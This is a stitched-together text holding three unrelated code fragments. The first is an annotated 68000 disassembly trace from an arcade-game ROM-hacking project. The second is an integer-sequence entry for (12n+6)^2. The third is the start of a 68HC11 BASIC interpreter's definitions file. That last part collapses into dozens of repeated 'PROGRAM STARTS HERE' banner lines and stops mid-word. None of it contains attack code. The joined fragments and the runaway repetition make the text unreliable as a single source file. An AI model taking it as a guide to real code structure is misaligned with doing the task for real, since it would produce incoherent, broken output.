enemy+A8] 056E64 move.l #$0, ($a6,A6) [enemy+AA, enemy+AC] 056E6C move.b #$1, ($24,A6) 056EC6 move.l #$0, ($a6,A6) [enemy+AA, enemy+AC] 056ECE move.b #$0, ($24,A6) 056F56 move.l #$0, ($a6,A6) [enemy+AE, enemy+B0] 056F5E move.b #$1, ($24,A6) 056FAC move.l ($a6,A6), D0 [enemy+ C, enemy+ E] 056FB0 add.l D0, ($aa,A6) 056FFC move.l ($a6,A6), D0 057000 add.l D0, ($aa,A6) [enemy+A6, enemy+A8] 057028 move.l ($a6,A6), D0 [enemy+ C, enemy+ E] 05702C add.l D0, ($aa,A6) 057064 move.l ($a6,A6), D0 [enemy+ C, enemy+ E] 057068 add.l D0, ($aa,A6) 05720C move.l A6, ($a4,A0) [enemy+25] 057210 moveq #$0, D0 [enemy+A6] 05723A movea.l ($a4,A6), A3 05723E move.w ($8,A3), ($8,A6) [enemy+A6] 057340 cmpi.w #$5a, ($a6,A6) 057346 beq $57350 [enemy+A6] 0577AC movea.l ($a4,A6), A3 0577B0 move.b ($5,A3), D0 [enemy+A6] 057B54 movea.l ($a4,A6), A3 057B58 move.b ($5,A3), D0 [enemy+A6] 057D36 move.l A6, ($a4,A0) [enemy+10] 057D3A movem.w (A7)+, A0 [enemy+A6] 057D5E movea.l ($a4,A6), A3 057D62 move.b ($5,A3), D0 [enemy+A6] 058596 move.w A0, ($a6,A6) [enemy+A2] 05859A move.b #$1, ($be,A6) [enemy+A6] 058728 movea.w ($a6,A6), A1 05872C move.w A1, ($b4,A6) [enemy+A6] 059606 move.w A0, ($a6,A6) [item+ 4] 05960A move.w A0, ($b4,A6) [enemy+A6] 05A288 movea.w ($a6,A6), A1 05A28C bsr $5a2a4 [enemy+A6] 05A2AA move.w D0, ($a6,A1) [enemy+2D] 05A2AE move.b ($2d,A6), D0 [enemy+A6] 05A304 move.w D0, ($a6,A1) 05A308 cmpi.w #$5a, D0 [enemy+A6] 05A4BA move.w D0, ($a6,A6) 05A4BE move.b D0, ($a4,A6) 05A556 move.w D0, ($a6,A6) [enemy+2D] 05A55A cmpi.b #$63, D0 [enemy+A6] 05A5BA move.w D0, ($a6,A6) 05A5BE cmpi.w #$5a, D0 05A600 cmpi.w #$5a, ($a6,A6) 05A606 beq $5a61a 05AB1C move.w #$14, ($a6,A6) [enemy+72] 05AB22 move.b D0, ($be,A6) [enemy+A6] 05ACF4 subq.w #1, ($a6,A6) 05ACF8 beq $5add8 [enemy+A6] 05AD08 subq.w #1, ($a6,A6) 05AD0C beq $5ad7a [enemy+A6] 05AD80 move.w #$50, ($a6,A6) [enemy+ 6] 05AD86 move.b #$1e, ($a3,A6) [enemy+A6] 05ADCA move.w #$1e, ($a6,A6) 05ADD0 move.b #$4, ($6,A6) [enemy+A6] 05ADE4 move.w #$1e, ($a6,A6) 05ADEA moveq #$1f, D0 [enemy+A6] 05ADFE move.w #$f, ($a6,A6) [enemy+ 6] 05AE04 move.b #$1e, ($a3,A6) [enemy+A6] 05B320 clr.w ($a6,A6) [enemy+A2, enemy+A4] 05B324 bra $5b32e [enemy+A6] 05B34A move.b ($a6,A6), D0 05B34E move.w ($6,PC,D0.w), D0 [enemy+A6] 05B35E addq.b #2, ($a6,A6) 05B362 moveq #$5, D0 [enemy+A6] 05B3B2 addq.b #2, ($a6,A6) 05B3B6 tst.b ($51,A6) [enemy+A6] 05B3C8 addq.b #2, ($a6,A6) 05B3CC moveq #$3, D0 [enemy+A6] 05B3E0 clr.b ($a6,A6) [enemy+A2, enemy+A4] 05B3E4 rts [enemy+A6] 05B3E8 move.b ($a6,A6), D0 05B3EC move.w ($6,PC,D0.w), D0 [enemy+A6] 05B3FC addq.b #2, ($a6,A6) 05B400 moveq #$4, D0 [enemy+A6] 05B43C addq.b #2, ($a6,A6) 05B440 tst.b ($51,A6) [enemy+A6] 05B452 addq.b #2, ($a6,A6) 05B456 moveq #$3, D0 [enemy+A6] 05B46A clr.b ($a6,A6) [enemy+A2, enemy+A4] 05B46E rts [enemy+A6] 05B472 move.b ($a6,A6), D0 05B476 move.w ($6,PC,D0.w), D0 [enemy+A6] 05B484 addq.b #2, ($a6,A6) 05B488 moveq #$7, D0 [enemy+A6] 05B49A addq.b #2, ($a6,A6) 05B49E moveq #$0, D0 [enemy+A6] 05B4AA clr.b ($a6,A6) [enemy+A2, enemy+A4] 05B4AE rts [enemy+A6] 05B4E0 clr.w ($a6,A6) [enemy+A2, enemy+A4] 05B4E4 bra $5b4ee 05B552 clr.b ($a6,A6) [enemy+ 4, enemy+ 6] 05B556 moveq #$0, D0 05B596 addq.b #2, ($a6,A6) [enemy+22] 05B59A jsr $1862.l [enemy+A6] 05C394 move.b #$1e, ($a6,A6) 05C39A clr.b ($a7,A6) [enemy+A6] 05C44E subq.b #1, ($a6,A6) 05C452 bmi $5c46e [enemy+A6] 05C46E move.b #$28, ($a6,A6) 05C474 clr.b ($5,A6) [enemy+A6] 05C5BA tst.b ($a6,A6) 05C5BE beq $5c5d6 [enemy+A6] 05C5C2 subq.b #1, ($a6,A6) 05C5C6 bne $5c604 [enemy+A6] 05C666 clr.b ($a6,A6) [enemy+A7] 05C66A move.b #$2, ($6,A6) 05FF62 clr.b ($a6,A6) [enemy+A4] 05FF66 moveq #$0, D0 089BC6 move.l A6, ($a4,A0) [enemy+10] 089BCA jsr $483c.l [enemy+A6] 089BF0 move.l A6, ($a4,A0) [enemy+10] 089BF4 jsr $483c.l [enemy+A6] 089C26 move.l A6, ($a4,A0) [enemy+10] 089C2A jsr $483c.l [enemy+A6] 089C5C move.l A6, ($a4,A0) [enemy+10] 089C60 jsr $483c.l [enemy+A6] 089C92 move.l A6, ($a4,A0) [enemy+10] 089C96 move.w #$f0, ($a0,A6) [enemy+A6] 089CF6 move.l A6, ($a4,A0) [enemy+10] 089CFA jsr $483c.l [enemy+A6] 089D32 move.l A6, ($a4,A0) [enemy+10] 089D36 jsr $483c.l [enemy+A6] 089D6E move.l A6, ($a4,A0) [enemy+10] 089D72 movem.w (A7)+, A0 [enemy+A6] 0AAACA move.l (A0), D2 0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAACE move.w D0, ($2,A0) 0AAAD2 cmp.l (A0), D0 0AAAD4 bne $aaafc 0AAAD8 move.l D2, (A0)+ 0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAE6 move.l (A0), D2 0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAF4 move.l D2, (A0)+ 0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] copyright zengfr site:http://github.com/zengfr/romhack
; A017594: a(n) = (12*n + 6)^2. ; 36,324,900,1764,2916,4356,6084,8100,10404,12996,15876,19044,22500,26244,30276,34596,39204,44100,49284,54756,60516,66564,72900,79524,86436,93636,101124,108900,116964,125316,133956,142884,152100,161604,171396,181476,191844,202500,213444,224676,236196,248004,260100,272484,285156,298116,311364,324900,338724,352836,367236,381924,396900,412164,427716,443556,459684,476100,492804,509796,527076,544644,562500,580644,599076,617796,636804,656100,675684,695556,715716,736164,756900,777924,799236,820836,842724,864900,887364,910116,933156,956484,980100,1004004,1028196,1052676,1077444,1102500,1127844,1153476,1179396,1205604,1232100,1258884,1285956,1313316,1340964,1368900,1397124,1425636 mul $0,12 add $0,6 pow $0,2
;******************************************************************************* ; BASIC11 FOR CPU_1A1 * ; * ; MODIFIED BY PAUL BEALING, APRIL-JUNE 2000 * ;******************************************************************************* ; * ; MC68HC11 BASIC INTERPRETER * ; * ; WRITTEN BY GORDON DOUGHMAN * ; * ; COPYRIGHT 1985-1990 BY GORDON DOUGHMAN * ; * ;******************************************************************************* ; 17-june-2000 ; Ready for first release for the CPU_1A1/1B board. ;******************************************************************************* ;_DEBUG ; include if testing in RAM ; exclude for Flash version _EEPROM ; include for Flash version ; exclude if testing in RAM ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ; #Include DEFINES.ASM ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;*********************************************************** ; SYSTEM DEFINES ;*********************************************************** ; These defines specify how BASIC11 is loaded into the CPU_1A1 module ; In debug mode it is loaded into and run from RAM. This allows for ; easy testing without erasing and loading the Flash ; When running from RAM, the vectors must already be loaded into EEPROM. ; Normally it will be loaded into Flash. ROMBEG def $C000 ; starting address of code space C000-AFFF ROMSIZE def $3DFF ; ~16K of code space RAMSTART def $2000 ; starting address of system RAM 2000-5FFF RAMSIZE def $4000 ; approx. 16K of system RAM PSSTART def $8000 ; first add. of program storage FLASH 8000-BFFF PSSIZE def $4000 ; approx. 12K of program storage FLASH EESTART def $FE00 ; starting address of CPU EEPROM FE00-FF7F (384B) EESIZE def $017F ; size of CPU EEPROM EEPBASAD def $FE00 ; EEPROM base address MAXEESUB def 384 ; maximum EEP subscript #ifdef _debug ROMBEG set $5000 ; starting address of code space 5000-7FFF ROMSIZE set $3000 ; 12K of code space RAMSTART set $2000 ; starting address of system RAM 2000-2FFF RAMSIZE set $1000 ; 4K of system RAM PSSTART set $8000 ; first add. of program storage FLASH 3000 or 8000 PSSIZE set $1000 ; 4K of program storage FLASH EESTART set $FE00 ; starting address of CPU EEPROM FE00-FF7F (384B) EESIZE set $017F ; size of CPU EEPROM EEPBASAD set $FE00 ; EEPROM base address MAXEESUB set 384 ; maximum EEP subscript #endif RAM_SA equ $0000 ; start of RAM RAM_EA equ $7FFF ; end of RAM FLS_SA equ $8000 ; start of Flash FLS_EA equ $FDFF ; end of Flash EEP_SA equ $FE00 ; start of EEPROM EEP_EA equ $FFFF ; end of EEPROM TIMEVAL equ 62500 ; value used for generating 'Time' Interrupt IOBASE equ $1000 ; Base Address of the I/O Registers SWPRE equ 02 ; SOFTWARE PRESCALER VALUE. SBASBEG equ 0 SBASEND equ 2 SVARBEG equ 4 SVAREND equ 6 SHILINE equ 8 AUTOSTF equ 10 SSTART equ 11 ;******************************************************************************* ; I/O Register Offsets From The Base Address ;******************************************************************************* PORTAIO equ $00 ; PORT A DDRA equ $01 ; PORT A DDR PORTGIO equ $02 ; PORT G DDRG equ $03 ; PORT G DDR PORTBIO equ $04 ; PORT B PORTCIO equ $05 ; PROT C LATCHED DATA REG. DDRC equ $07 ; DATA DIRECTION REGISTER C PORTDIO equ $08 ; PORT D DDRD equ $09 ; DATA DIRECTION REGISTER D PORTEIO equ $0A ; PORT E CFORC equ $0B ; TIMER COMPARE FORCE REG. OC1M equ $0C ; O/P COMPARE 1 MASK REG. OC1D equ $0D ; O/P COMPARE 1 DATA REG TCNT equ $0E ; TIMER COUNT H TCNTL equ $0F ; L TIC1 equ $10 ; TIMER O/P COMPARE 1 H TIC1L equ $11 ; 1 L TIC2 equ $12 ; 2 H TIC2L equ $13 ; 2 L TIC3 equ $14 ; 3 H TIC3L equ $15 ; 3 L TOC1 equ $16 ; TIMER O/P COMPARE 1 H TOC1L equ $17 ; 1 L TOC2 equ $18 ; 2 H TOC2L equ $19 ; 2 L TOC3 equ $1A ; 3 H TOC3L equ $1B ; 3 L TOC4 equ $1C ; 4 H TOC4L equ $1D ; 4 L TOC5 equ $1E ; 5 H TOC5L equ $1F ; 5 L TCTL1 equ $20 ; TIMER CONTROL REG 1 TCTL2 equ $21 ; TIMER CONTROL REG 2 TMSK1 equ $22 ; TIMER MASK 1 TFLAG1 equ $23 ; TIMER FLAG 1 TMSK2 equ $24 ; TIMER MASK 2 TFLG2 equ $25 ; TIMER FLAG 2 PACTL equ $26 ; PULSE ACCUMULATOR CONT. REG. PACNT equ $27 ; PULSE ACCUMULATOR COUNT REG. SPCR equ $28 SPSR equ $29 SPDR equ $2A BAUD equ $2B ; SCI BAUD REG SCCR1 equ $2C ; SCI CONTROL 1 REG SCCR2 equ $2D ; SCI CONTROL 2 REG SCSR equ $2E ; SCI STATUS REG SCDR equ $2F ; SCI DATA REG ADCTL equ $30 ADR1 equ $31 ADR2 equ $32 ADR3 equ $33 ADR4 equ $34 BPROT equ $35 OPTION equ $39 ; OPTION REG COPRST equ $3A ; COP RESET REG PPROG equ $3B ; EEPROM PROG REG HPRIO equ $3C ; HPRIO REG INITSU equ $103D ; INIT AT RESET INIT equ $3D ; INIT CONFIG equ $3F ; CONFIG REG CSSTRH equ $5C ; CS CYCLE STRETCH CSCTL equ $5D ; CS CONTROL CSGADR equ $5E ; GENERAL PURPOSE CS (RAM) CSGSIZ equ $5F ; GENERAL PURPOSE CS SIZE ;******************************************************************************* ; Misc. defines EOL equ 13 ; end of line marker CR equ 13 ; same as EOL LF equ 10 ; linefeed character ESC equ 27 ; ESC character BS equ 8 ; backspace character SPC equ 32 ; space character MIDEOL equ ':' ; mid EOL character COMMA equ ',' ; comma SEMI equ 59 ; ';' semicolin NUM equ 1 ; getvar return flag STRING equ 2 ; getvar return flag NULL equ 0 ; null value CNTRLC equ 3 ; control-c (break character) IBUFLEN equ 80 ; input buffer max length TBUFLEN equ 128 ; token buffer max length SWSTKSize equ 592 ; software stack size /* OPSLEN equ 30 ; operator stack length NUMSLEN equ 60 ; operand stack length FORSLEN equ 80 ; FOR..NEXT stack length WHSLEN equ 16 ; WHILE..ENDWH stack length GOSLEN equ 16 ; GOSUB stack length LED1 equ %00000100 ; led output LED2 equ %00001000 ; led output LED3 equ %00010000 ; led output LED4 equ %00100000 ; led output LED5 equ %10000000 ; led output on port A SPIMS equ %10000000 ; SPI master/slave select A15 equ %00000010 ; flash upper address bit A16 equ %00000001 ; flash upper address bit A17 equ %00010000 ; flash upper address bit A18 equ %00001000 ; flash upper address bit ;******************************************************************************* ; Define error codes ERRORCODE equ 1 LINRANG next ERRORCODE ; line number range error SYTXERR next ERRORCODE ; syntax error IVEXPERR next ERRORCODE ; invalid expression error UPARNERR next ERRORCODE ; unbalanced parentheses error DTMISERR next ERRORCODE ; data type mismatch error OPRTRERR next ERRORCODE ; illegal operator error ILVARERR next ERRORCODE ; illegal variable error ILTOKERR next ERRORCODE ; illegal token error OMEMERR next ERRORCODE ; out of memory error INTOVERR next ERRORCODE ; integer overflow error IVHEXERR next ERRORCODE ; invalid hex digit error HEXOVERR next ERRORCODE ; hex number overflow MISQUERR next ERRORCODE ; missing quote error MPARNERR next ERRORCODE ; missing open or closing parenthisis IONSYERR next ERRORCODE ; "ON" syntax error MTHENERR next ERRORCODE ; missing "THEN" in "IF" statement MTOERR next ERRORCODE ; missing "TO" in "FOR" statement LINENERR next ERRORCODE ; line number error IDTYERR next ERRORCODE ; illegal data type error EXPCXERR next ERRORCODE ; expression too complex (xlator token buff ovf.) MCOMAERR next ERRORCODE ; missing comma MCMSMERR next ERRORCODE ; missing comma or semicolin MSTKOERR next ERRORCODE ; math stack overflow error UNDIMERR next ERRORCODE ; undimentioned array error SUBORERR next ERRORCODE ; subscript out of range error ZDIVERR next ERRORCODE ; divide by zero error LNFERR next ERRORCODE ; line not found error GOSOVERR next ERRORCODE ; too many nested GOSUB's RWOGERR next ERRORCODE ; RETURN w/o GOSUB error WHSOVERR next ERRORCODE ; too many active WHILE's ENDWHERR next ERRORCODE ; ENDWH statement w/o WHILE ONARGERR next ERRORCODE ; ON argument is negative, zero, or too large NOSUBERR next ERRORCODE ; non-subscriptable variable found in DIM statem. REDIMERR next ERRORCODE ; variable has already been DIMensioned FORNXERR next ERRORCODE ; too many active FOR -- NEXT loops active MFRNXERR next ERRORCODE ; mismatched FOR -- NEXT statements. CNTCNERR next ERRORCODE ; can't continue ODRDERR next ERRORCODE ; out of data in read or restore statement NEGSUBER next ERRORCODE ; negative subscripts not allowed EESUBERR next ERRORCODE ; EEP() subscript negative or > 200 PRFUNERR next ERRORCODE ; function only allowed in print statement TABARGER next ERRORCODE ; argument <0 or >255 in TAB() function CHRARGER next ERRORCODE ; argument <0 or >255 in CHR$() function OVDV0ERR next ERRORCODE ; overflow or /0 error in FDIV() function INVCHERR next ERRORCODE ; invalid channel number in ADC() function PRTASERR next ERRORCODE ; tried to assign a value <0 or >255 to PORT(X) ILPRTERR next ERRORCODE ; illegal port error ILLIOERR next ERRORCODE ; illegal I/O vector number <0 or >7 UNINIERR next ERRORCODE ; uninitalized I/O vector HEX2AERR next ERRORCODE ; argument <0 or >255 in HEX2 function NOTALERR next ERRORCODE ; statement not allowed in direct mode NOTINTER next ERRORCODE ; an RETI statement executed when not in interrupt PACCARGE next ERRORCODE ; tried to assign a value of <0 or >255 to PACC INTMODER next ERRORCODE ; interrupt or count mode error in ONPACC EETOSMAL next ERRORCODE ; program storage EEPROM is Too Small FLERERR next ERRORCODE ; Flash memory erase failure NOFLPROG next ERRORCODE ; No Flash memory program to load EEWRERR next ERRORCODE ; eeprom write failure ;******************************************************************************* ; mathematical operator tokens OPARNTOK equ $10 ; '(' CPARNTOK equ $11 ; ')' ANDTOK equ $20 ; 'AND' ORTOK equ $21 ; 'OR' EORTOK equ $22 ; 'EOR' LTTOK equ $30 ; '<' GTTOK equ $31 ; '> LTEQTOK equ $32 ; '<=' GTEQTOK equ $33 ; '>=' EQTOK equ $34 ; '=' NOTEQTOK equ $35 ; '<>' PLUSTOK equ $40 ; '+' MINUSTOK equ $41 ; '-' SPLUSTOK equ $42 ; '+' MULTTOK equ $50 ; '*' DIVTOK equ $51 ; '/' MODTOK equ $52 ; '%' PWRTOK equ $60 ; '^' INDIRTOK equ $70 ; '@' NOTTOK equ $71 ; 'NOT' NEGTOK equ $72 ; '-' (uniary minus) ;******************************************************************************* ; keyword tokens LETTOK equ $01 ; LET IMLETTOK equ $02 ; implied LET PRINTTOK equ $03 ; PRINT FORTOK equ $04 ; FOR NEXTTOK equ $05 ; NEXT TRONTOK equ $06 ; TRON TROFFTOK equ $07 ; TROFF POKETOK equ $08 ; POKE DIMTOK equ $09 ; DIM REMTOK equ $0A ; REM PACCTOK equ $0B ; PACC DATATOK equ $0C ; DATA READTOK equ $0D ; READ RESTRTOK equ $0E ; RESTORE GOSUBTOK equ $0F ; GOSUB GOTOTOK equ $12 ; GOTO ONTOK equ $13 ; ON RETNTOK equ $14 ; RETURN IFTOK equ $15 ; IF INPUTTOK equ $16 ; INPUT STOPTOK equ $17 ; STOP ENDTOK equ $18 ; END WHILETOK equ $19 ; WHILE ENDWHTOK equ $1A ; ENDWH EEPTOK equ $1B ; EEP PORTATOK equ $1C ; PORTA PORTBTOK equ $1D ; PORTB PORTCTOK equ $1E ; PORTC PORTDTOK equ $1F ; PORTD INBYTTOK equ $23 ; INBYTE TIMETOK equ $24 ; TIME ONTIMTOK equ $25 ; ONTIME ONIRQTOK equ $26 ; ONIRQ RETITOK equ $27 ; RETI ONPACTOK equ $28 ; ONPACC SLEEPTOK equ $29 ; SLEEP RTIMETOK equ $2A ; RTIME CLSTOK equ $2B ; CLS FUNCTFLG equ $36 ; function flag byte TOTOK equ $37 ; TO THENTOK equ $38 ; THEN ELSETOK equ $39 ; ELSE STEPTOK equ $3A ; STEP ;******************************************************************************* ; function tokens FDIVTOK equ $01 ; FDIV CHRTOK equ $02 ; CHR$ ADCTOK equ $03 ; ADC ABSTOK equ $04 ; ABS RNDTOK equ $05 ; RND SGNTOK equ $06 ; SGN TABTOK equ $07 ; TAB CALLTOK equ $08 ; CALL PEEKTOK equ $09 ; PEEK FEEPTOK equ $0A ; EEP HEXTOK equ $0B ; HEX FPRTATOK equ $0C ; PORTA FPRTBTOK equ $0D ; PORTB FPRTCTOK equ $0E ; PORTC FPRTDTOK equ $0F ; PORTD FPRTETOK equ $10 ; PORTE FTIMETOK equ $11 ; TIME HEX2TOK equ $12 ; HEX2 FPACCTOK equ $13 ; PACC ;******************************************************************************* ; numerical/variable tokens FVARTOK equ $81 ; floating point variable address SVARTOK equ $82 ; string variable address IVARTOK equ $84 ; integer variable address FAVARTOK equ $91 ; floating point array SAVARTOK equ $92 ; string array IAVARTOK equ $94 ; integer array FCONTOK equ $A1 ; floating point constant SCONTOK equ $A2 ; string constant LCONTOK equ $A8 ; line # constant ICONTOK equ $A4 ; integer constant ISIZ equ 2 ; number of bytes in integer variable SSIZ equ 3 ; number of bytes in string variable FSIZ equ 5 ; number of bytes in f.p. variable ASIZ equ 2 ; number of bytes for array variable in dictionary ;******************************************************************************* ; Misc. tokens MSCNTOK equ $7F ; multiple space count token SSCNTOK equ $7E ; single space token EOLTOK equ $7D ; end of line token COMMATOK equ $7C ; , SEMITOK equ $7B ; ; MEOLTOK equ $7A ; : EQUALTOK equ $79 ; '=' PNUMTOK equ $78 ; '#' JMPOP equ $7E ; OP-CODE FOR "JMP" (USED TO INITALIZE INTERRUPT TABLE) ;******************************************************************************* #RAM $0000 ; Variables ;******************************************************************************* ; char IBUFPTR rmb 2 ; input buffer pointer TBUFPTR rmb 2 ; token buffer pointer ; the next 5 variables must remain grouped togeather BASBEG rmb 2 ; start of basic program area BASEND rmb 2 ; end of basic program VARBEGIN rmb 2 ; start of variable storage area VAREND rmb 2 ; end of variable storage area HILINE rmb 2 ; highest line number in program buffer BASMEND rmb 2 ; physical end of basic program memory VARMEND rmb 2 ; physical end of variable memory ; int FIRSTLIN rmb 2 ; first line to list LASTLIN rmb 2 ; last line to list INTPTR rmb 2 ; integer pointer ; short ERRCODE rmb 1 ; error code status byte IMMID rmb 1 ; immidiate mode flag BREAKCNT equ * ; also use for break check count COUNT equ * ; count used in ESAVE & ELOAD routines IFWHFLAG rmb 1 ; translating IF flag TRFLAG rmb 1 ; trace mode flag CONTFLAG rmb 1 ; continue flag RUNFLAG rmb 1 ; indicates we are in the run mode PRINTPOS rmb 1 ; current print position NUMSTACK rmb 2 ; numeric operand stack pointer OPSTACK rmb 2 ; operator stack pointer FORSTACK rmb 2 ; FOR stack pointer WHSTACK rmb 2 ; WHILE stack pointer GOSTACK rmb 2 ; GOSUB stack pointer CURLINE rmb 2 ; line # that we are currently interpreting ADRNXLIN rmb 2 ; address of the next line STRASTG rmb 2 ; dynamic string/array pool pointer FENCE rmb 2 ; varend fence in case of an error in xlation IPSAVE rmb 2 ; interpretive pointer save for "BREAK" DATAPTR rmb 2 ; pointer to data for read statement RANDOM rmb 2 ; random number/seed DEVNUM rmb 1 ; I/O device number TIMEREG rmb 2 ; TIME register TIMECMP rmb 2 ; TIME compare register TIMEPRE rmb 1 ; software prescaler for TIME ONTIMLIN rmb 2 ; ONTIME line number to goto ONIRQLIN rmb 2 ; ONIRQ line number to goto ONPACLIN rmb 2 ; ONPACC line number to goto XONCH rmb 1 ; XON character for printer XOFFCH rmb 1 ; XOFF character for printer SCURLINE rmb 2 ; used to save CURLINE during int. processing SADRNXLN rmb 2 ; used to save ADRNXLIN during int. processing INBUFFS rmb 2 ; pointer to the start of the input buffer TKNBUFS rmb 2 ; pointer to the start of the token buffer EOPSTK rmb 2 ; end of operator stack STOPS rmb 2 ; start of operator stack ENUMSTK rmb 2 ; end of operand stack STNUMS rmb 2 ; start of operand stack EFORSTK rmb 2 ; end of FOR - NEXT stack STFORSTK rmb 2 ; start of FOR - NEXT stack EWHSTK rmb 2 ; end of WHILE stack STWHSTK rmb 2 ; start of WHILE stack EGOSTK rmb 2 ; end of GOSUB stack STGOSTK rmb 2 ; start of GOSUB stack IOBASEV rmb 2 ; Address vector for I/O Registers DNAME rmb 3 ; Place to put the variable name when doing a dump command SUBMAX rmb 2 ; SUBCNT rmb 2 ; TOKPTR rmb 2 ; token pointer (used for list command) VarSize rmb 2 ; used by the line editor. size of the variable table TADD rmb 1 ; Talkaddress ADD rmb 1 ; Address RLEN rmb 1 ; Record Length CSUM rmb 1 ; Checksum BADDR rmb 1 ; Board Address CCOM rmb 1 ; Current Command COUNT1 rmb 1 ; Counter for dump routine TEMP1 rmb 2 ; 2 ; Temp for dump routine DMPGO rmb 2 ; 2 ; dump start address DMPEND rmb 2 ; 2 ; dump end address GWIZ1 rmb 1 ; unexpected interrupt ID code FLAGS1 rmb 1 ; general purpose flags HERE1 equ * #if * > $9E #Error Ran out of Page 0 RAM #endif org $009E CONSTAT rmb 3 ; GET CONSOLE STATUS FOR BREAK ROUTINE. INCONNE rmb 3 ; GET BYTE DIRECTLY FROM CONSOLE FOR BREAK ROUTINE. org $00A4 INTABLE rmb 16 ; RESERVE SPACE FOR 8 DIFFERENT INPUT ROUTINES. OUTABLE rmb 16 ; RESERVE SPACE FOR 8 DIFFERENT OUTPUT ROUTINES. ;******************************************************************************* org $00C4 ; START OF RAM INTERRUPT VECTORS. RAMVECTS equ * SCISS rmb 3 ; 00C4 ; SCI SERIAL SYSTEM. SPITC rmb 3 ; 00C7 ; SPI TRANSFER COMPLETE. PACCIE rmb 3 ; 00CA ; PULSE ACCUMULATOR INPUT EDGE. PACCOVF rmb 3 ; 00CD ; PULSE ACCUMULATOR OVERFLOW. TIMEROVF rmb 3 ; 00D0 ; TIMER OVERFLOW. TIMOC5 rmb 3 ; 00D3 ; TIMER OUTPUT COMPARE 5. TIMOC4 rmb 3 ; 00D6 ; TIMER OUTPUT COMPARE 4. TIMOC3 rmb 3 ; 00D9 ; TIMER OUTPUT COMPARE 3. TIMOC2 rmb 3 ; 00DC ; TIMER OUTPUT COMPARE 2. TIMOC1 rmb 3 ; 00DF ; TIMER OUTPUT COMPARE 1. TIMIC3 rmb 3 ; 00E2 ; TIMER INPUT CAPTURE 3. TIMIC2 rmb 3 ; 00E5 ; TIMER INPUT CAPTURE 2. TIMIC1 rmb 3 ; 00E8 ; TIMER INPUT CAPTURE 1. REALTIMI rmb 3 ; 00EB ; REAL TIME INTERRUPT. IRQI rmb 3 ; 00EE ; IRQ INTERRUPT. XIRQ rmb 3 ; 00F1 ; XIRQ INTERRUPT. SWII rmb 3 ; 00F4 ; SOFTWARE INTERRUPT. ILLOP rmb 3 ; 00F7 ; ILLEGAL OPCODE TRAP. COP rmb 3 ; 00FA ; WATCH DOG TIMER FAIL. CMF rmb 3 ; 00FD ; CLOCK MONITOR FAIL. ;******************************************************************************* org $FF7F ; EEPROM variable storage ASFLAG rmb 1 ; auto-start flag ;*********************************************************************** ;*********************************************************************** ;*********************************************************************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A R T S H E R E ******************** ;***********; P R O G R A M S T A 